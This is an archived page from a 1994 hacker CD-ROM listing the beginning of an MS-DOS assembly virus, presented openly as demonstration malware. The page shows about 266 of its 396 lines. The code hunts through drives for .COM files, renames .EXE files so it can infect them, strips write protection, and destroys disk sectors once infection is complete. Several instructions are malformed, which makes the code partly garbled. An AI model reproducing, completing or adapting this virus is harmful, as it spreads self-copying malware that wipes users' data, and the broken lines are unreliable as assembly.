home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / VIRUS.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  12KB  |  396 lines

  1. ;                        Virus in Assembly Language
  2. ;                        --------------------------
  3.  
  4. ;Most viruses out there have been written in assembly because assembly has the
  5. ;unique ability to bypass operating system security.
  6. ;Here is an example of a virus written under MS-DOS 2.1 and can obviously be
  7. ;compiled in the later versions. The article contains remarks so as to further
  8. ;explain the parts. Programmers may wish to delete those segments if desired.
  9.  
  10. ;**************************************************
  11. ;   Program Virus        
  12. ;   Version 1.1
  13. ;   This is a demonstration program for computer 
  14. ;   viruses. It has the ability to replace itself.
  15. ;   and thereby modify other programs. Enjoy.
  16. ;**************************************************
  17.  
  18. Code   Segment
  19.        Assume  CS:Code
  20. progr  equ 100h
  21.        ORG progr
  22.  
  23. ;**************************************************
  24. ;   The three NOP's serve as the marker byte of the  
  25. ;   virus which allow it to identify a virus.
  26. ;**************************************************
  27.  
  28. MAIN:
  29.        nop
  30.        nop
  31.        nop
  32.  
  33. ;**************************************************
  34. ;   Initialize the pointers
  35. ;**************************************************
  36.  
  37.        mov ax,00
  38.        mov es:[pointer],ax
  39.        mov es:[counter],ax
  40.        mov es:[disks],al
  41.  
  42. ;**************************************************
  43. ;   Get the selected drive
  44. ;**************************************************
  45.  
  46.        mov ah,19h             ;drive?
  47.        int 21h    
  48.  
  49. ;**************************************************
  50. ;   Get the current path on the current drive
  51. ;**************************************************
  52.  
  53.        mov cs:drive,al        ;save drive
  54.        mov ah,47h             ;dir?
  55.        mov dh,0               
  56.        add al,1
  57.        mov dl,al              ;in actual drive
  58.        lea si,cs:old_path     ;
  59.        int 21h
  60.  
  61. ;**************************************************
  62. ;   Get the number of drives present. If only one   
  63. ;   is present, the pointer for the search order
  64. ;   will be set to serach order + 6
  65. ;**************************************************
  66.  
  67.        mov as,0eh             ;how many disks 
  68.        mov dl,0               ;
  69.        int 21h
  70.  
  71.        mov al,01
  72.        cmp al,01              ;one drive
  73.        jnz hups3
  74.        mov al,06
  75.        
  76. hups3: mov ah,0
  77.        lea bx,search_order
  78.        add bx,ax
  79.        add bx,0001h
  80.        mov cs:pointer,bx
  81.        clc
  82.  
  83. ;**************************************************
  84. ;   Carry is set, if no more .COM's are found.      
  85. ;   Then, to avoid unnecessary work, .EXE files will
  86. ;   be renamed to .COM files and infected.
  87. ;   This causes the error message "Program to large
  88. ;   to fit memory" when starting larger infected
  89. ;   EXE programs.
  90. ;*************************************************
  91.  
  92. change_disk:
  93.       jnc no_name_change
  94.       mov ah,17h              ;change .EXE to .COM
  95.       lea dx,cs:maske_exe
  96.       int 21h
  97.       cmp al,0ffh
  98.       jnz no_name_change      ;.EXE found?
  99.  
  100. ;****************************************************
  101. ;   If neither  .COM nor .EXE is found then sectors
  102. ;   will be overwritten depending on the system time
  103. ;   in milliseconds. This is the time of the complete
  104. ;   "infection" of a storage medium. The virus can
  105. ;   find nothing more to infect and starts its destruction
  106. ;*****************************************************   
  107.  
  108.       mov ah,2ch              ; read system clock
  109.       int 21h
  110.       mov bx,cs:pointer
  111.       mov al,cs:[bx]
  112.       mov bx,dx
  113.       mov cx,2
  114.       mov dh,0
  115.       int 26h                 ; write crap on disk
  116.  
  117. ;******************************************************
  118. ;   Check if the end of the search order table has been
  119. ;   reached . If so, end.
  120. ;******************************************************
  121.  
  122. no_name_change:
  123.       mov bx,cs:pointer
  124.       dec bx
  125.       mov cs:pointer,bx
  126.       mov dl,cs:[bx]
  127.       cmp dl,0ffh
  128.       jnz hups2
  129.       jmp hops
  130.       
  131. ;****************************************************
  132. ;   Get new drive from the search order table and
  133. ;   select it .
  134. ;***************************************************
  135.  
  136. hups2:
  137.       mov ah,0eh
  138.       int 21h                    ;change disk
  139.  
  140. ;***************************************************
  141. ;   Start in the root directory
  142. ;***************************************************  
  143.  
  144.       mov ah,3bh                 ;change path
  145.       lea dx,path
  146.       int 21h
  147.       jmp find_first_file
  148.  
  149. ;**************************************************
  150. ;   Starting from the root, search for the first
  151. ;   subdir. FIrst convert all .EXE files to .COM
  152. ;   in the old directory
  153. ;**************************************************
  154.  
  155. find_first_subdir:
  156.       mov ah,17h                 ;change .exe to .com
  157.       lea dx,cs:maske_exe
  158.       int 21h
  159.       mov ah,3bh                 ;use root directory
  160.       lea dx,path
  161.       int 21h
  162.       mov ah,04eh                ;search for first subdirectory
  163.       mov cx,00010001b           ;dir mask
  164.       lea dx,maske_dir           ;
  165.       int 21h                    ;
  166.       jc change_disk
  167.       mov bx,CS:counter
  168.       INC,BX
  169.       DEC bx
  170.       jz  use_next_subdir
  171.  
  172. ;*************************************************
  173. ;   Search for the next subdirectory. If no more
  174. ;   directories are found, the drive will be changed.
  175. ;*************************************************
  176.  
  177. find_next_subdir:
  178.       mov ah,4fh               ; search for next subdir
  179.       int 21h 
  180.       jc change_disk
  181.       dec bx
  182.       jnz find_next_subdir
  183.  
  184. ;*************************************************
  185. ;   Select found directory.
  186. ;**************************************************
  187.  
  188. use_next_subdir:      
  189.       mov ah,2fh               ;get dta address
  190.       int 21h
  191.       add bx,1ch
  192.       mov es:[bx],'\`          ;address of name in dta
  193.       inc bx
  194.       push ds
  195.       mov ax,es
  196.       mov ds,ax
  197.       mov dx,bx
  198.       mov ah,3bh               ;change path
  199.       int 21h
  200.       pop ds
  201.       mov bx,cs:counter
  202.       inc bx
  203.       mov CS:counter,bx
  204.  
  205. ;**************************************************
  206. ;    Find first .COM file in the current directory.
  207. ;    If there are none, search the next directory.
  208. ;**************************************************
  209.  
  210. find_first_file:
  211.       mov ah,04eh              ;Search for first
  212.       mov cx,00000001b         ;mask
  213.       lea dx,maske_com         ;
  214.       int 21h                  ;
  215.       jc find_first_subdir
  216.       jmp check_if_ill
  217.  
  218. ;**************************************************
  219. ;   If program is ill(infected) then search for
  220. ;   another other.
  221. ;************************************************** 
  222.  
  223. find_next_file:
  224.       mov ah,4fh               ;search for next
  225.       int 21h
  226.       jc find_first_subdir
  227.  
  228. ;*************************************************
  229. ;   Check is already infected by virus.
  230. ;**************************************************
  231.  
  232. check_if_ill:
  233.       mov ah,3dh              ;open channel
  234.       mov al,02h              ;read/write
  235.       mov dx,9eh              ;address of name in dta 
  236.       int 21
  237.       mov bx,ax               ;save channel
  238.       mov ah,3fh              ; read file
  239.       mov ch,buflen           ;
  240.       mov dx,buffer           ;write in buffer
  241.       int 21h 
  242.       mov ah,3eh              ;close file
  243.       int 21h  
  244.  
  245. ;***************************************************
  246. ;   This routine will search the three NOP's(no 
  247. ;   operation).If present there is already an infection.
  248. ;   We must then continue the search
  249. ;****************************************************
  250.  
  251.      mov bx,cs:[buffer]
  252.      cmp bx,9090h
  253.      jz find_next_file
  254.  
  255. ;***************************************************
  256. ;   This routine will BY PASS MS-DOS WRITE PROTECTION
  257. ;   if present. Very important !
  258. ;***************************************************
  259.  
  260.      mov ah,43h               ;write enable
  261.      mov al,0          
  262.      mov dx,9eh               ;address of name in dta
  263.      int 21h 
  264.      mov ah,43h
  265.      mov al,01h
  266.      and cx,11